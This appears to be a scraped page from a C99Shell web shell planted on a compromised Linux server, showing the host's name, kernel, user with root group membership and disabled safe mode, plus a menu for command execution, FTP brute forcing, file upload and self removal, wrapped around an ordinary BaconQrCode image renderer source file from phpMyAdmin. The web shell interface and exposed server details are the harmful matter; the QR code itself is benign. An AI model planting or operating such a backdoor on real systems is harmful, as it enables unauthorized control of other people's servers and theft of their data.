!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/vendor/bacon/bacon-qr-code/src/Renderer/   drwxr-xr-x
Free 28.15 GB of 117.98 GB (23.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ImageRenderer.php (4.51 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
declare(strict_types 1);

namespace 
BaconQrCode\Renderer;

use 
BaconQrCode\Encoder\MatrixUtil;
use 
BaconQrCode\Encoder\QrCode;
use 
BaconQrCode\Exception\InvalidArgumentException;
use 
BaconQrCode\Renderer\Image\ImageBackEndInterface;
use 
BaconQrCode\Renderer\Path\Path;
use 
BaconQrCode\Renderer\RendererStyle\EyeFill;
use 
BaconQrCode\Renderer\RendererStyle\RendererStyle;

final class 
ImageRenderer implements RendererInterface
{
    
/**
     * @var RendererStyle
     */
    
private $rendererStyle;

    
/**
     * @var ImageBackEndInterface
     */
    
private $imageBackEnd;

    public function 
__construct(RendererStyle $rendererStyleImageBackEndInterface $imageBackEnd)
    {
        
$this->rendererStyle $rendererStyle;
        
$this->imageBackEnd $imageBackEnd;
    }

    
/**
     * @throws InvalidArgumentException if matrix width doesn't match height
     */
    
public function render(QrCode $qrCode) : string
    
{
        
$size $this->rendererStyle->getSize();
        
$margin $this->rendererStyle->getMargin();
        
$matrix $qrCode->getMatrix();
        
$matrixSize $matrix->getWidth();

        if (
$matrixSize !== $matrix->getHeight()) {
            throw new 
InvalidArgumentException('Matrix must have the same width and height');
        }

        
$totalSize $matrixSize + ($margin 2);
        
$moduleSize $size $totalSize;
        
$fill $this->rendererStyle->getFill();

        
$this->imageBackEnd->new($size$fill->getBackgroundColor());
        
$this->imageBackEnd->scale((float) $moduleSize);
        
$this->imageBackEnd->translate((float) $margin, (float) $margin);

        
$module $this->rendererStyle->getModule();
        
$moduleMatrix = clone $matrix;
        
MatrixUtil::removePositionDetectionPatterns($moduleMatrix);
        
$modulePath $this->drawEyes($matrixSize$module->createPath($moduleMatrix));

        if (
$fill->hasGradientFill()) {
            
$this->imageBackEnd->drawPathWithGradient(
                
$modulePath,
                
$fill->getForegroundGradient(),
                
0,
                
0,
                
$matrixSize,
                
$matrixSize
            
);
        } else {
            
$this->imageBackEnd->drawPathWithColor($modulePath$fill->getForegroundColor());
        }

        return 
$this->imageBackEnd->done();
    }

    private function 
drawEyes(int $matrixSizePath $modulePath) : Path
    
{
        
$fill $this->rendererStyle->getFill();

        
$eye $this->rendererStyle->getEye();
        
$externalPath $eye->getExternalPath();
        
$internalPath $eye->getInternalPath();

        
$modulePath $this->drawEye(
            
$externalPath,
            
$internalPath,
            
$fill->getTopLeftEyeFill(),
            
3.5,
            
3.5,
            
0,
            
$modulePath
        
);
        
$modulePath $this->drawEye(
            
$externalPath,
            
$internalPath,
            
$fill->getTopRightEyeFill(),
            
$matrixSize 3.5,
            
3.5,
            
90,
            
$modulePath
        
);
        
$modulePath $this->drawEye(
            
$externalPath,
            
$internalPath,
            
$fill->getBottomLeftEyeFill(),
            
3.5,
            
$matrixSize 3.5,
            -
90,
            
$modulePath
        
);

        return 
$modulePath;
    }

    private function 
drawEye(
        
Path $externalPath,
        
Path $internalPath,
        
EyeFill $fill,
        
float $xTranslation,
        
float $yTranslation,
        
int $rotation,
        
Path $modulePath
    
) : Path {
        if (
$fill->inheritsBothColors()) {
            return 
$modulePath
                
->append($externalPath->translate($xTranslation$yTranslation))
                ->
append($internalPath->translate($xTranslation$yTranslation));
        }

        
$this->imageBackEnd->push();
        
$this->imageBackEnd->translate($xTranslation$yTranslation);

        if (
!== $rotation) {
            
$this->imageBackEnd->rotate($rotation);
        }

        if (
$fill->inheritsExternalColor()) {
            
$modulePath $modulePath->append($externalPath->translate($xTranslation$yTranslation));
        } else {
            
$this->imageBackEnd->drawPathWithColor($externalPath$fill->getExternalColor());
        }

        if (
$fill->inheritsInternalColor()) {
            
$modulePath $modulePath->append($internalPath->translate($xTranslation$yTranslation));
        } else {
            
$this->imageBackEnd->drawPathWithColor($internalPath$fill->getInternalColor());
        }

        
$this->imageBackEnd->pop();

        return 
$modulePath;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--